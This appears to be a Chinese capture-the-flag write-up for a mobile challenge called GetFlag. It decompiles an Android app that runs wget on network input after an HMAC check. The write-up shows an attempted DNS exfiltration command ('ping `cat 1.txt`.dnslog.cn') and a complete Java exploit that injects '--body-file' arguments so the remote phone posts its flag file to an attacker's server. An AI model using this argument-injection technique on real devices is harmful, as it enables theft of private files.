高校战疫网络安全分享赛-GetFlag-Writeup
前几天收到一道mobile的ctf题目,花了点时间解决了。中间复盘了一下过程,主要还是思路问题。思路打不开容易钻牛角尖,我在尝试用命令注入的方式浪费了起码两小时,后来发现直接用wget的一个参数轻松搞定。
1 分析代码
jeb分析代码,发现客户端会启动一个socket监听8080端口。当有新的client连接就会返回一个随机数字。另外看到了两段有趣的代码,第一个是通过写文件的方式,将 FLAG{the_real_flag_is_in_the_remote_apk} 写入 files/flag 文件中。算是一个小提示,提示真正的flag在远程客户端中。
图2 flag文件
另外的一段代码是就是对socket接收的payload进行检测。payload需要包含message和check字段,数据格式为json。检测过程为对message的内容进行sha1计算,计算key使用client连接的时候生成的随机数字。如果检测通过就执行wget命令和message内容的组合。
图3 checkpayload方法
另外客户端也提到了远程apk,从代码里没有看到任何线索。这里我尝试用apktool解包之后,发现assets中有一个secret.txt。内容如下,对其进行base64解密之后可以获得远程ip 212.64.66.177 。telnet一下他的8080端口,发现也返回了一个神秘的数字。
VGhlJTIwSVAlMjBvZiUyMHRoZSUyMHJlbW90ZSUyMHBob25lJTIwaXMlMjAyMTIuNjQuNjYuMTc3
这里解题思路以及浮现了,就是通过自己构造json字符串。通过checkpayload的检测,顺利执行命令。一开始我的想法是通过添加 ||或者&& 组合命令,例如 wget -h && ping `cat 1.txt`.j30wa3.dnslog.cn 。后来反复查找,发现exec是通过新建进程的方式执行文件,并没有sh环境,所以不能识别 && >> 等符号。
后来转换思路,在wget -h中发现可以在wget的时候通过bodyfile参数发送文件,顺利获取了flag。
图4 checkpayload方法
2 利用过程
import com.alibaba.fastjson.JSONObject; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.math.BigInteger; import java.net.Socket; import java.security.Key; import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; public class Main { public static void main(String[] args) { getflag(); } public static byte[] HmacSHA1Encrypt(String data, String pass) throws Exception { SecretKeySpec key = new SecretKeySpec(pass.getBytes("UTF-8"), "HmacSHA1"); Mac mac = Mac.getInstance("HmacSHA1"); mac.init(key); return mac.doFinal(data.getBytes("UTF-8")); } public static String bytesToHexString(byte[] src){ StringBuilder stringBuilder = new StringBuilder(""); if (src == null || src.length <= 0) { return null; } for (int i = 0; i < src.length; i++) { int v = src[i] & 0xFF; String hv = Integer.toHexString(v); if (hv.length() < 2) { stringBuilder.append(0); } stringBuilder.append(hv); } return stringBuilder.toString(); } public static void getflag() { try { Socket socket = new Socket("212.64.66.177",8080); InputStream in = socket.getInputStream(); OutputStream out = socket.getOutputStream(); JSONObject jsonObject = new JSONObject(); String msg = "--method=POST --body-file=/data/data/com.xuanxuan.getflag/files/flag http://your vps ip:8090/"; jsonObject.put("message", msg); byte[] b = new byte[1024]; int len = 0; len=in.read(b); String strText = new String(b, 0, len-1); System.out.println(strText); jsonObject.put("check", new BigInteger(1, HmacSHA1Encrypt( msg, strText)).toString(16)); System.out.print(jsonObject.toJSONString()); out.write(jsonObject.toJSONString().getBytes()); socket.close(); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } }